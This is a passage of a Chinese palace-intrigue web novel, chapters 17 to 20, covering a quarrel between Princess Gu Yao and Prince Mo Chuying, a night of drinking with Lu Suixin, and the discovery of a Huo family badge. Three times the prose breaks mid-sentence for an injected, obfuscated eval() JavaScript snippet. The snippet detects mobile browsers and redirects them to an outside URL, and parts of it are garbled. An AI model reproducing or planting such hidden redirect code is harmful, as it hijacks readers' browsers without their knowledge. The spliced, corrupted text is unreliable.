和他相处了四年,顾瑶自诩已摸透了他的脾气,按她的了解,他当下绝对是在气头上。 她不知太子妃到底说了什么,可莫楚瑛绝不是那么容易被挑拨离间的人,能想到的唯一原因,便是自己留了十个字就不声不响地走了半个多月。 看来那两句话,还是不够安抚他。 “那就请王妃说说,到底你做了什么事,能让太子妃大老远跑来,提醒大家要摆好各自的位置?”莫楚瑛一眼就望见了她目光里的躲闪,便把自己的袖子从她手里扯了回来。 顾瑶把空落落的手收回来,望着房间中央那张桌子,给霍淇云沏的茶还没撤下去,在那冒着温热的气,烫得她眼疼,“阿瑶不知。许是她误会了什么吧。” 莫楚瑛瞧出了她那点倔强里染着被质疑的伤心,胸口微紧,便把质疑的口气收了回来,叹息一声后化作了略带伤心的无奈,“太子妃刚才同我说,她儿子岁数到了却不愿娶妻,又说……阿瑶你不愿同我生孩子。这不,前脚莫子翊离家不归,后脚你又一声不响地离了府……” “王爷……”顾瑶把自己的手盖在了他的手上,发觉自己的掌心握着两片冰冷。 “你什么也不同我说。”莫楚瑛低头看着俩人交叠在一起的手,浓黑的睫毛盖住了眼里所有情绪,可话里终究藏不住那点真实的伤感,“阿瑶,我也是人,我还是你的夫君,你这样,我也是要伤心的。” 顾瑶只觉得心里一阵柔软一阵紧缩,不等话出口,就把莫楚瑛的双手捧到了自己胸上,“夫君,你一定要相信我,我和皇长孙之间,绝无太子妃所想之事。” 莫楚瑛感到自己的双手被浸在了阵阵酥麻的暖意里,麻痹着他的心神,害他放空了好一会儿才把话题拉回来,“那阿瑶能否说说,你这几日到底是去哪里了?我还听说,你带了两个人回来。” “上个月的赏花会,王爷还记得吧?那日晚宴,我不是离席了片刻吗,去了那么久是因为如厕回来时,在后院偶遇了皇长孙,我便……同他说了几句话。”顾瑶拉着他的手放到了腿上,低头看着他白皙细长的手指,回忆着那一日。 她说的是实话,但并不是全部的真相。 那一场月夜枫树下的谈话,并非偶然的邂逅,而是她处心积虑促成的相遇。 自三年前秋狩会她一时为了泄愤,一击将莫子翊射在靶心上的箭挤到了地上之后,便偶尔会在家宴上抬头与他的目光撞个正着。 有一次,顾瑶故意没有将视线躲开。 便和他对望了那么一会儿。 她知道身旁的莫楚瑛看到了,便还装着不解的样子随口问他,是不是定国的皇长孙觉得她这个云国人生得奇怪? 她不记得莫楚瑛那时候回答了什么,也许只是回了她一个敷衍的笑。 每次和宫里那群人一起吃饭应酬,他都能丢掉半条命似的。 而且,在她看来,对那时候的他来说,一个是被迫娶来的妻子,一个是乳臭未干的侄子,自然不会多在意。 可她,却没有放过这个千载难逢的机会。 “哦?你同他……说了些什么?”莫楚瑛能感受到顾瑶的指腹在他手掌边缘无意识地摩挲着。 “他同我聊起云国的风土人情,好像对那儿很感兴趣,我就顺嘴告诉他,过不了几天就是三年一度的掌灯节,那是整个云国最热闹最好玩的时候,每次都会有想都想不到样式的新花灯,我说云国其实并不像定国所说的那样,是破败、脏乱的。”顾瑶仍旧没有抬头,遥遥回忆着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795993|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一日,“然后他说……” “说什么了?”听到顾瑶的停顿,莫楚瑛忍不住追问。 “我说了,王爷可不许生气。” “我不生气。” “皇长孙说我是思家了,他要去云国看看,开开眼,也顺便……为我带盏故乡的花灯回来。”顾瑶手里一空,身边的人影已经在那一瞬抽手起身往前走去,“王爷,你可是说了不生气的。” “这小崽子,轮得上他来关心你吗?”莫楚瑛负手而立,半转过脸来,眉眼已经结霜,“所以说了半天,王妃这几日又究竟是去哪儿了。” 顾瑶草草讲了个大概,但并没有提及客栈里那起离奇的双尸案,只说是阿柒和陆随心两人误打误撞将半死的莫子翊运回了定国,“现下还不知道皇长孙究竟在云国碰上了什么事,我便将那二人一起带回来……” “顾瑶!你糊涂!”莫楚瑛拂袖立到她面前,整张脸沉了下去,呵道,“你知不知道窝藏伤害皇长孙的云国人,意味着什么!” 顾瑶回忆不起来,上一次被他直呼其名是什么时候,相处四年,她也从未见过他这幅脸色,她甚至一时间不认为此刻是处于真实的当下,而是进入了某种梦幻和想象,因为她从不知道,他也会露出这样的表情。 她一直知道他心不在朝野,只想做个闲散王爷,可还是把他的不闻不问错当成了对自己的放纵,想不到这敲打有一日竟也会就这么朝自己头上直直而来。 一腔酸楚涌上,以至于她失了声音,连解释都没有。 “你平日里如何我都可睁一只眼闭一只眼,哪怕你把莫子翊支开想要我去做那斟酒人,我也做了。唯有与国事相关者,你绝不可逾矩!”莫楚瑛见顾瑶似是被冻结在了被自己打断的那一刻,终是将语气往回收了两分。 顾瑶忍着心底错愕的疼,低声认错,“王爷教训得是,妾知晓了。” 这大概也是自二人真正交心以来,顾瑶头一次在家里头以“妾”自称。 她自诩在深宫里练就了一双慧眼,别的不说,断物识人总是在行的,此刻才惊觉自己不过也是一个傻姑娘,把过往四年虚幻的平安喜乐当做眼前人的真心实意,才在这一刻有了归于寂灭的破碎之痛。 她怎么能如此之傻,竟真的以为一个被迫成婚的定国王爷能对自己生出几分情来?又把那几分虚情当做了自己的护身符? 莫楚瑛听到那一声“妾”,一双眼也跟着黯了下去,快步走到一个柜子边,拉开抽屉拿出一样闪亮的东西,语气竟又硬了几分,“这珠子,王妃花了不少心思才弄来吧?” 顾瑶抬眼看去,正是那日桑凌回府时丢了的东西,便道,“是。” “顾瑶,你非我定国人,不知我定国事。不管你以前是什么心思,但这事,我今日定要与你挑明,望你谨记于心。” 这是把她也撇成“外人”了? 顾瑶怔怔,见他眼神肃静带着三分清冷,话如刀劈斧砸般,一字字划进她的皮肉里。 “你若只想同我一道,做个闲散贵人,那甚好,可你若想插手朝野,搅动那宫里的一二三四,恐怕你这尊大佛……我静王府是装不下。” 顾瑶耳边嗡嗡,一时天旋地转,手盘住身旁床柱,稳住自己冰冷的身子。 不等她回话,莫楚瑛便将东西放到了桌上,“这珠子,你自己留着玩罢,别叫我在哪个大臣那里看到。” 门开,门合,人走远了。 顾瑶失聪了一般,一直盯着桌上那颗又大又通透的碧玉珠子,见它在那儿欲晃不晃,好像下一瞬它还是会立在那儿,也好像下一瞬它就会动起来,滚到桌子边,掉下去,摔得粉碎。 她不知道她想要见到哪种结果。 不知过了多久,顾瑶突然见到那珠子动了,她试着唤醒自己僵硬的身体,去接下那颗珠子,可腿却不肯动。 就在珠子磕过那道边缘,以一种无法阻挡的势头往地面坠去的时候,顾瑶闭上了眼。 没有传来珠子落地的响动,也没有珠子碎裂的声音。 顾瑶睁开了眼,看到有一只手把珠子紧紧握住了。 18. 第 18 章 陆随心呆坐在凳子上。 望了一眼门口,空的。 又望了一眼,还是空的。 阿柒真的走了。 她慢慢低下头,看着自己沾了血滴的鞋面,俯下身去抹了。 血晕开一团,散成一抹糊涂的红,她却清醒了,暗下了决心,要把阿柒临走前留下的那句警告扔到九霄云外——她要把莫子翊的玉佩还给顾瑶,然后就回家去,回民安村,和陆少疾李芸娘好好过日子。 什么云国定国的事,她都不想再与之纠葛,哪怕是柳家灭门的真相,她也不想知道了——都随它去,她也没那本事复仇,何苦徒增烦恼! 等她一回家,就要把那张纸烧了,看也不看就烧掉,寻个清净! 她带着一腔愤懑的思索冲出了门,在静王府找寻顾瑶的踪影,这种横冲直撞让她根本没有看到眼前的庞然大物,与之撞了个满怀。 “哎哟……” 不是东西,却是个人。 那身影往后跌去,撞到一个富态摇摆的女人身上,刚摔下去就爬起来把头磕得砰砰响,“太子妃恕罪,太子妃恕罪。” 满头珠钗晃入陆随心的眼,她料想自己是闯了祸,立刻借势伏到地上,两眼一闭四肢一软,在对方发难之前先“晕”了过去。 这满府的达官贵人,谁她都不认识也惹不起。 不必开口就不必说话,不说话就不会说错话。 “太子妃,您没事儿吧。” “哪来不长眼的小婢女!” “太子妃,她好像……晕过去了。” “晕过去了?你去看看。” “是。” 一双手扒住陆随心的肩膀要把她整个身子翻过去,她不敢使力,放松着全身,可那人将她翻到一半就撤开了,那力道一松,害她又重重砸回了地上。 “太子妃……她衣服上好像沾着血啊。” “你说什么?” 那吊着嗓似的声音划拉着陆随心的耳,她不断默念着儿时默背的那些圣人先贤语录,以求保住“昏厥”的姿态。 “太子妃!”这是另一个急急赶来的声音,“您没伤着吧?小的这就差人找太医来瞧瞧。” “不必了,本宫又不是豆腐做的,哪那么容易伤着。” 这妇人说话拿腔怪调,听得陆随心腹中翻腾,差点就要撇嘴做表情,想到自己“晕倒之身”,便立刻又把唇齿松开了。 “太子妃,此人乃府上新来的婢女,行事不周冲撞了公公,冲撞了您,还望您大人大量,千万莫要怪罪。” 总算是听到了一个熟悉的声音,是那位送衣服又带路的可爱姑娘桑菱。 “呵,连路都不会走的婢女怎么好在静王府上服侍,还身上沾了血满是不详,要我看,就该拿张草皮裹了扔出去。” 陆随心压在身下的拳紧紧攥了起来。她平心顺气,默念了几声“阿弥陀佛”,压抑住了自己欲要起身的冲动。 “太子妃……” “太子妃说的是!奴才不过是叫她去趟后厨,竟不知她这般笨手笨脚。奴才这就去请示静王,把她裹了扔出去。” “哎哟,别了。你现在去找静王请示,听起来,不是又是我这外人在这僭越了嘛。再说了,人都吓晕过去了,倒显得我不近人情。” 陆随心牙齿也发起酸来,这些个达官贵人,说起话来弯弯绕绕,惹她头疼,好像每一句话都暗含它意,要人猜,要人揣度,要人命。 这王府未免太吓人。 她只庆幸,自己没有直接撞上这太子妃,否则,今日之事必不能轻易善罢甘休。 “行了,怎么处理是你们王爷的事。小李子,赶紧开路回府,别误了我回去见我儿。” “是。” “我看这俩小婢女,怎么长得都云里云气的。也不知这王府,到底是王爷的王府还是王妃的王府。” 那一行人渐行渐远,那喋喋不休的“僭越”之言也就慢慢听不见了。 陆随心不明形势,直到桑凌上来推着她轻轻叫唤“随心小姐,你没事吧”,她才敢睁开眼,就见着旁边还站了一个不带髭须的年轻公公,想必就是方才帮自己解围之人。 “多谢二位相助。” “这位小姐,王府可不比外头,切不可再如此冒失呀。”那公公朝着陆随心皱眉摆手,像极了小时候家里的教书先生看到自己拿笔乱涂圣人语录集时的样子。 陆随心觉得亲切,便向他做了个画本里侠客抱拳的手势,“公公说的是,大恩不言谢。” 富林显然被这宫外的举止惊到,一怔,竟也学着做了一个回了过去,“随心小姐客气了。” “随心小姐,你那礼物,送得如何呀?”桑凌搀着她手臂将她从地上扶起来,这才看清她狼狈的样子,那衣领下发红的印记和右手紧紧缠着的布巾,还有衣襟上的点点血渍,“怎……怎么成这样了?” “唉,说来话长。简而言之就是心意错付,已经分道扬镳了。这伤口是我不小心又弄开的。”陆随心举了举自己的手,刻意忽略了脖子里的指痕,“哦对了,桑凌,我要找阿……你们家王妃,能否带我过去。” 这血淋漓的男女之情叫桑凌心怀惴惴,忍不住想要她细细说来,一时便没接话,倒叫富林抢在前头,“王妃正与王爷议事,随心小姐不如随桑凌回去歇歇,过会儿再去吧。” “不行不行,公公,我这事儿十万火急。”陆随心不愿夜长梦多,“我知道府里规矩多,可这事儿与王妃休戚相关,也是她带我回府之缘由。我自不会闯进去坏事,只求公公带我去屋外等候。” “富公公,便由我陪随心小姐过去吧。” 富林沉吟片刻,倒还是点了头,“切记,等得远一些,千万不要主动进去。要我看,王爷今日,心情可是不好得很。” 也许是因为富林的神态和自己儿时的教书先生实在太像,陆随心因着对那位司马先生的几分歉意,便将富林的这句劝语牢牢记住并乖乖奉行。 当然如果她对富林的人生历程有些许了解,那么她必然会以一种更慎重更尊敬的方式对待这句推测。 毕竟,对于在宫里看人脸色长大的孩子来说,猜对主子的心思,是吃饭的手艺。 而富林一直将这碗饭吃得很好。 当陆随心在门外远远看到那位瘦削如玉的王爷把那扇门像拉风箱一样猛力拉开的时候,她才确信富林所言非虚,这位主子此时的心情真可谓极为糟糕。 更让她惊讶的是此前已不见了踪影的富公公不知突然从哪儿钻了出来,紧紧地贴上王爷,随着他一起走远了。 “唉,王爷今日这脾气可真是非同小可。”旁边的桑凌嘀咕了一句,就要冲过去找自家主子。 陆随心赶紧跟上,二人却在那辉煌的大门外颇有默契地都停住了脚步。 只因屋外明明日头高起,一片和煦,可这屋子里却冷得叫人发慌。 往里看去,顾瑶正一个人枯坐在床榻一侧,眼神直勾勾地盯着桌上的东西,那样子,活像是清明夜半在墓地里哭尽了眼泪的未亡人。 可她分明一滴泪都没流,只是那心死了的样子,瞧着却分明和葬礼上的人无异。 夫妻吵架?是那男女间的情与恨吗? 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16805627|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随心不是很懂,想起方才的遭遇又难免有一些感同身受。 “公……” 陆随心按在了桑凌的肩膀上,对她轻轻摇了摇头,又凑到她耳边悄悄说了两句话。 桑凌眉头紧锁,悄声反驳,“随心小姐,你……在说什么呀?这于礼不合啊。” “你看看她那个样子,还礼不礼的,你是想就这么看着她难受死了算了吗?” 桑凌一会儿转头去看自己失魂落魄的主子,一会儿又回过头来看一脸不知是不是坏笑的陆随心,不知所措。 “你信我,我保准能把你家主子哄开心了。” 闻言,桑凌牙一咬心一横,便转身离开了。 桑凌刚一走,陆随心就见到桌上那颗大珠子动了起来,眼看就要摔下去,她便快步跨进去,一手支着桌面,一手往桌下探去。 那颗通润浑圆的碧玉珠子就那么摔进了她的手心里,砸得她伤口一疼,忍不住摸了摸,触感平滑细腻,色泽艳丽,不禁暗叹王府里的宝贝居然就这么随手乱放,这定国可真是有钱。 “……随心?” “没摔碎。”听到顾瑶那堪堪回过神来的声音,陆随心便用完好的左手把珠子拿起来给她看,有些歉意道,“哎呀,沾上我的血了。” “无妨,擦一擦便是,不过,这珠子本就用不上了。”顾瑶将脸上的空洞都收了起来,又换上了往常那张荣辱不惊的脸,便也借此看清了眼前之人的模样,连带着那些细节一一浮现映入她的眼,“你这是……阿柒干的?” 陆随心伸手摸了摸脖子,在眼神示意之下,走过去到她旁边坐下了,“唉,阿瑶你说得对,阿柒他……确实危险。是我太傻,竟以为能从他手底下讨到半点好处。” 想到那身黑影,陆随心便觉得胸口又是一阵乱意,“总之,他已经走了。” 若是平常,顾瑶定要再问问来龙去脉,可今时今日,她却没这个心思,“走就走了罢,也省得你再为他烦忧了。” “我为他……我才不为他烦忧。” 顾瑶扯了扯嘴角,假意笑她,“是,你不为他烦也不为他忧。” “我是真的没有……”陆随心想起地牢里时俩人对坐的日日夜夜,又想起他背对着自己堵住耳朵一动不动的样子,那些在心尖游来窜去的丝丝缕缕都因为方才被掐住脖子的疼痛瞬间散去了,她叹了口气,“唉,李芸娘说了,男人没一个好东西,为他们想不开不如为一只猪。” 顾瑶从没听过这样的话,忍不住抬起头,连带着胸中阴翳都散了几分,“这位李芸娘是何方人士?说的话倒是有趣。” 陆随心从没认真考虑过要如何对外称呼李芸娘,说她是自己小娘,可她从没进过柳家的门,说她不是,可她又为自己父亲生了个儿子。她想了想,还是听从了心里那一点升起的思念,“是我……家人。她常说,她见过的男人比我吃过的盐还多。” “是吗,她还说过什么。”顾瑶莞尔一笑,新奇于那市井间不加掩饰的直白之语。 见她舒展了眉头,陆随心也便更为起劲,“她说和男人吵架可以,但绝不可为此伤心落泪,不仅不值,还很愚蠢。因为男人的心和我们不一样,他们简直就是……没有心。” 最后三个字就像是一道稳固的桥梁,把顾瑶和陆随心牢牢地架到了一起。她们对看一眼,在彼此目光里找到了同仇敌忾的默契,相视而笑。 外头回廊里响起脚步声,陆随心知道是桑凌回来了。 她把手里的玉珠子扔到一边,摇了摇手,朝面前终于从端庄里解脱出一点自己的顾瑶问,“怎么样,阿瑶,要不要一起喝一杯?” 19. 第 19 章 莫楚瑛闭上眼,依然清晰记得那次秋狩会上向自己昂首走来的顾瑶,面容倔强,锋芒在骨。 当时她对自己说,“夫君,这把弓借阿瑶用一用罢。” 就是她眉眼间的烈烈英气,和这句不卑不亢的恳求,从此让他打好一生的算盘落了空。 他本只想着到了成家的岁数,就娶一个能让自己远离朝堂中心的妻子,彼此相敬如宾,各自安好,了此残生。 他做到了前半句,却在把弓递过去的那一刻突然改了主意,他不愿与顾瑶“各自安好”了。 于是他改了目标,想和顾瑶做一对鹣鲽情深的闲散伴侣,在王府相伴到终老。 可他竟忘了,顾瑶是个人,她不是算盘上的珠子,被拨哪儿算哪儿,她有自己的意图。 那些白首偕老的痴心妄想,也许不过是他的一厢情愿。 他从来不敢向她确认,她做这个王妃是形势所迫还是别有居心,但有一点,如今他终于确信,那就是她绝对不愿让自己远离朝堂,远离那个吃人不吐骨的破地方。 “王爷,这日头马上就落下去了,外头凉,咱还是回里屋吧。”富林恭敬地侍立在着单衣坐在石板圆凳上的静王身后,轻声劝他。 “王妃带回来的两个人呢?”莫楚瑛曲起大拇指,用突起的骨节狠狠地磨着右边的眉毛,那里盖着一个小小的陈年旧疤,是他大哥前太子莫楚文在那一年被押走时,桌边的瓷碗在混乱中摔落于地,碎片崩到了他眼睛上方割出的伤口。 “回王爷,有一个已经走了,留下的那位小姐,想必此时正和王妃在一块呢。” “走了?”莫楚瑛的手一顿。 “具体奴才也不清楚,好像是与那位随心小姐吵架了,然后就走了。” 莫楚瑛回头望向富林,见他也一脸不明所以,不再追问,却蹙了眉,“怕是个隐患。” “那要不要奴才这就派人去追?” “不必了,走了就算了。”他撑着那最后一点被夕阳罩上的桌沿站了起来,“走。” “王爷要去哪儿?” “去看看。” “王爷要看什么呀?”富林一边问,一边踩着小碎步紧紧跟在大跨步向前的主子身后,生怕被甩下了。 莫楚瑛在庭院里坐了半个时辰有余,无论是那拂面的微风还是眼前葳蕤的草木亦或是亭子上头鸟儿的啁啾,都叫他在一片无人的阒然中冷静了下来,他并不觉得自己的“胸无大志”有错,他只是猛然发现,传达给顾瑶的意思有误。 他不是真的要责怪她,而是担心她就此深陷泥潭,落得和莫楚文一个下场——不明就里地死去,一篇讣闻昭告天下,说他重病而亡,从此太子之位就换了人。 “去看看王妃。” 富林听到这话,眼睛不自觉瞪大了,小碎步当场停下来,落后了好几步远才又重新跟了上去,“王爷,要不还是明日再去?” 富林不懂男女之情,但对一个道理却看得透彻,若没做好要真心道歉或全力哄骗的准备,随意靠近气头上的女子身边,后果不堪设想——轻则火上浇油,重则覆水难收。 “为何要等到明日?” 富林差点被突然驻足转身的莫楚瑛相中门面,拧着脸脖子用力往后贴紧,嘴里结巴,“为何?……这……因为凡事都讲究一个三思而后行嘛。” 莫楚瑛闻言,在原地认真想了一瞬,便不留情面驳了他,“不行,这事不能等。” 心里叫苦不迭的富林只好跟上。 王妃不开心,王爷就不开心,王爷不开心,他就没机会开心。 可还没走到那间屋子门口,在回廊里开始听到那杯筷相碰、你笑我乐的声响时,富林就知道,自己完全猜错了。 事情并没有如他所料想的那样发生。 王妃并不会和王爷再吵一架,因为此时的她正忙着划拳喝酒。 饮得痛快的这几位女子对门外突然出现的两个神情各异之人,自是全然没有注意到。 “阿瑶,又是你输了,你喝!” “啊?桑凌,她有没有骗我?为什么每次都是我输。” “公主,确实是你输了呢。” “好!那就我喝!我喝!”顾瑶提起手边的杯子,高高扬起头,把里边的琼浆一饮而尽。她脸色潮红,目光迷离,脑袋微微摇晃,嘴角往两边咧开,双手举得高高的,笑得又骄又皮,“我要喝到天荒地老!喝到海枯石烂!” 莫楚瑛轻轻推开一道门缝,一打眼看到的就是这样的她。 有一瞬,他以为这是一个陌生人。 是他从未见过的顾瑶。 他从不知道,顾瑶脸上能绽放这样的笑容,她竟会把一排牙全都明明白白地露出来,会把头当拨浪鼓一样晃荡,会把她的一双手朝空中无畏地伸出去。 她是这样陌生,又是这样动人。 什么公主的矜持、王妃的从容,统统不见了,只有漂亮自由的女儿姿态,在她一颦一笑间尽显。 “王爷?王爷?”富林在身边小心翼翼地叫唤已经失了神的主子,“要不要奴才进去劝劝王妃,酒多伤身。” 莫楚瑛的手先于他的任何思考就举到了富林面前,好一会儿后,他才想起要说什么,“让她喝吧,难得一次,不要紧。” “是。”见主子就此放弃了要与王妃“解释”的念头,富林舒了一口气,又问,“那奴才给您传晚膳?” 可他这主子却像是看什么好戏似的上了瘾,对着那道门缝痴痴站着,那表情像是在沉思又像是在宠溺,还有点莫名的享受,总之,就是没理富林吃晚饭的话,而是没头没尾地说,“怎么从来没见她喝这么开心过。” “大概是这位随心小姐在的缘故吧。”富林对主子一心一意观赏自己妻子喝酒的场面感到颇为震撼,虽不懂其中缘由,但也只好在一旁候着,等主子看个够。 富林的随口回答让莫楚瑛的目光换了对象,他往顾瑶旁边那人身上瞥去,话里含了三分尖锐的戒备,“你说的就是此人?王妃带回来的?” “是。她就是那位随心小姐。”富林觉察到主子脸色的变化,不自觉放慢了语速。 莫楚瑛左手抓住门框,轻轻地掩上,屋里的欢笑便一下子远了,他负手在后,回身走远,直往庭院中心去,确定自己说的话不会被里头听见,那眼角的冷意才真正落到了嘴里,“等一会儿她们醉过去,你就找人将她打发掉。” “打发”这两个字,可重可轻,轻则送到无人之地,任其自生自灭,重则埋到乱葬之岗,断绝后患无数。 富林一听,无论哪个都不是好事,双膝一跪,重重磕到了石板路上,压着声音竭力道,“王爷不可呀!” “怎么?连你也要找我的不痛快?”莫楚瑛俯身看着他的头顶,冷意褪去,取而代之的是探究的轻笑。 “奴才不敢。奴才只是为王爷担心啊。”富林的头快埋进了地里,似乎是想把自己心中难以按捺的一丝悲悯也给摁进去。 他与陆随心不过一面之缘,自然称不上半点情意。 可这情,还是不得不求。 身边主子华贵的衣袍拂在富林的手背上,柔软却冰凉。 他的头又低了两分。 这情,不是为了她求,而是为了像她一样的自己——一个生死被掌握在他人手里的蝼蚁之辈。 “替我担心什么?” 富林搜肠刮肚,想着能说动主子的句子,他往不远处的屋子里又偷偷看了一眼,此时最后一抹日光已从西边掉了下去,灯火被点上,印在窗纸上的人影若乱颤的花枝,欢笑声从未断过。 富林把头低了回来,“王妃今日与那女子喝酒甚欢,想来关系必是不错。若明日醒来,王妃一睁眼,发现她不在了,无论是怎么不在的,一旦加上了今日之事,奴才不得不担心到时候王爷要哄起王妃来,会……会难上加难啊。这距离一旦拉远了,有时就很难收回来。” 莫楚瑛的胸膛为着那最后半句话一紧,“但她是私自偷渡来的云国人,本王不能留她在府上。” “王爷多虑了,定国上下其实有不少因为云国穷吃不起饭偷跑过来的女子,王妃宅心仁厚,碰巧遇见救起一个,也是人之常情呀。”富林见主子脸上放了晴,心中也是一喜。 莫楚瑛什么也没说,只是转过去遥遥望着窗影,换了话题,“你传膳吧,我去前厅用餐,一会儿再过来看她。” “是。” 屋子里喝到兴头上的顾瑶已经沉沉地醉在酒意里,压根儿没发现门被打开过,就连酒量最好的陪客陆随心也到了微醺之态,对自己的命在这座王府的主人嘴里过了一轮一事全然不知。 她们玩遍了陆随心从李芸娘那儿学来的所有划拳游戏,猜输赢的乐趣耗尽,只余“你一杯我一杯”的豪爽。 顾瑶将手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818323|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的酒壶盖掀开,整个底朝下颠了又颠,也没有第二滴酒从那儿落下来,又一壶空了,“没了。酒没了。桑凌。酒没了。” “王妃,不喝了吧,今日已饮得足够多了,奴婢扶你回房休息去。”桑凌是此刻场上最清醒的人,见到主子愈发失态,忍不住劝。 “不行!不够!”顾瑶把手里酒壶丢到一边和其他几个空瓶作伴,两只手掌重重拍到桌子上,浑然不觉疼痛,“去给我拿酒来!” 还欲再劝的桑凌见陆随心对自己笑了笑,“桑凌姑娘,你就遂了她这一回愿,让她喝个够吧,这样等她明天醒来,才会觉得疯这一次足矣。” 桑凌从没想过有一天自家公主居然会和“疯”这个字扯到一起,可她想起云国王城里那间幽暗的宫殿,想起公主在那里跪过的日日夜夜,鼻头一酸,便站了起来,“我这就去拿,烦请随心小姐照顾我家公主一会儿。” “好桑凌!真是我的好桑凌!阿瑶我最爱的就是桑凌了。” 桑凌回头看了红扑扑的顾瑶一眼,朝她认认真真地笑了一下,就去了。 见她离开,屋里只剩下两人,陆随心便将那枚玉佩拿了出来,推到了顾瑶面前,“阿瑶,这玉佩该还你了。我没完成当初说好的事情,阿柒走了,我……也想回去了。” “别走呀!”顾瑶握住她的手,“留在这儿陪我多好。你看我们多有缘,都是甲辰龙年生,都是……女的。” 陆随心笑了,哄孩子般,“可阿瑶,你是定国的王妃,而我的家,在云国呀。” “你胡说,明明我的家,也在云国!”顾瑶脱口而出,却仿佛被自己的话吓到了,她低下头,看着自己的双手,掌心因为拍过桌子泛着一点红色,可除此以外,再无其他,她的心皱了起来,像是看明白了真相,“这儿不是我的家,我在这儿,没有家。” 陆随心看到了她眼中充盈的泪光。 这位平民百姓眼里的人中龙凤就这么呆呆地坐在椅子里,不比一个失恃失怙的小孩更开心,她沉溺在自己的孤独里,那样子,让陆随心想起了从柳宅逃出生天的自己。 那一刻的她,也曾觉得哪里都没有家了。 顾瑶趴到桌子上,不甚清醒地喃喃,“我没有家……没有家……回不去家了……我回不去了……” 陆随心看着脊背不受控制微微起伏着的顾瑶,就如看着常常因为那场灭门血灾而做噩梦惊醒的自己,鼻子那儿涌起酸意,她靠过去,将顾瑶抱进了自己怀里,学着李芸娘在黑夜的破庙里哄睡自己时那样,又轻又柔地说,“阿瑶,阿瑶,你哭吧,哭出来,好好哭一场吧。” 顾瑶把脑袋埋进了陆随心的肩窝里,可哭声久久没有传来,倒是她的喘息渐渐粗重,像是在忍耐与克制,随后又逐步平息,等顾瑶把头抬起来的时候,脸上只有一道之前干涸的泪痕,她红着眼,虚弱地笑了笑,“不,我不哭。我不可以哭。我是公主,我绝不可以哭。” 陆随心不懂为什么公主不可以哭,公主难道不是人吗? 可她却在顾瑶极力的隐忍中感受到一种她不懂得却有些钦佩的东西,那种东西让她为只想缩回民安村逃开一切的自己产生了动摇,动摇里生出愧疚,愧疚则让她改了主意。 “随心,你怎么了?怎么不说话了?我们还要继续喝的呀。”顾瑶把手往桌那边伸去,又把那只空壶抓回来,晃了晃,“哎呀,没酒了。” “阿瑶,你先等等。”陆随心环顾四周,没在这屋里找到任何纸墨的踪迹,只好起身将那壶被早早冷落在一旁的茶水拿来,倒了一杯,用手指在桌上草草画了一个图案,喊顾瑶来看,“你认不认得这个?” “这是……” 顾瑶抬起上半身凑过去,投下的阴影将桌上的水渍遮了个严实,什么也看不见,她有些懊丧,又退了回来,动作不稳直接摔进了椅子里,嘴里问着,“这是什么?” “是客栈里死掉的那个男子,他身上腰牌的图案。”陆随心不知自己会因这个坦白陷入多深的泥潭,她只是觉得一定要把这件事告诉眼前的人,“阿柒从他身上拿到的,我不小心看到了。” “是那人身上的?”闻言,顾瑶眼里的光聚拢到了一块,她拿起茶壶猛喝了两口,脸上的红色淡了点,整个人都清醒了一些,对桌上的图案端详起来。 霎时间,陆随心看到她脸色变了。 “这……好像是……霍家的徽纹。” 20. 第 20 章 “霍家?就是定国那个大将军吗?”陆随心想到阿柒提起过此人。 “对,就是他。” “那也就是说……” “霍因这个人……他啊,就像云国的司政林志崔一样,在定国,只手遮天。”方才认图案似乎耗尽了顾瑶所有意志力,也不等陆随心问,她便主动提起,“他麾下,是定国人数最多武力最强盛的一支军队。哦,对,今天不是那个讨人厌的太子妃来了嘛,那个就是他女儿。” 若不是顾瑶吃多了酒,恐怕“讨人厌”这三个字是她绝不会轻易说出口的,更不会那么不设防地加到“太子妃”面前。 陆随心酒量不错,愈加清醒,敏锐地抓住了其中令人隐隐不安的关键,“也就是说客栈里死掉的那人既是云国兵,又是定国兵?” 顾瑶试图将自己发沉的脑袋支在手掌上,好好思考眼前的问题,却被那冲头的天旋地转感攫住了,“啊,是吗。那这多奇怪。怎么可能有人又是这边的,又是那边的呢。” “除非……”那些光怪陆离的话本小说在陆随心的脑子里飞来舞去,一个模糊的概念在她嘴里渐渐成型,“他是某一边的,又偷偷假装成是另一边的。” “啊……对啊,是这样啊。那就说得通了。”顾瑶摇晃着脑袋,勉力用手撑住,“也就是说……云国派人潜入了……霍家。” 陆随心想到那人穿着云国兵服匆匆忙忙进城的样子,又想到他被刘一德的手势激怒,最终死于阿柒手下,立刻明白了,“不,是反过来。霍因找人潜进了云国。那人是回去通报消息的。” 当然了,消息也许永远被拦截在了那家客栈里。 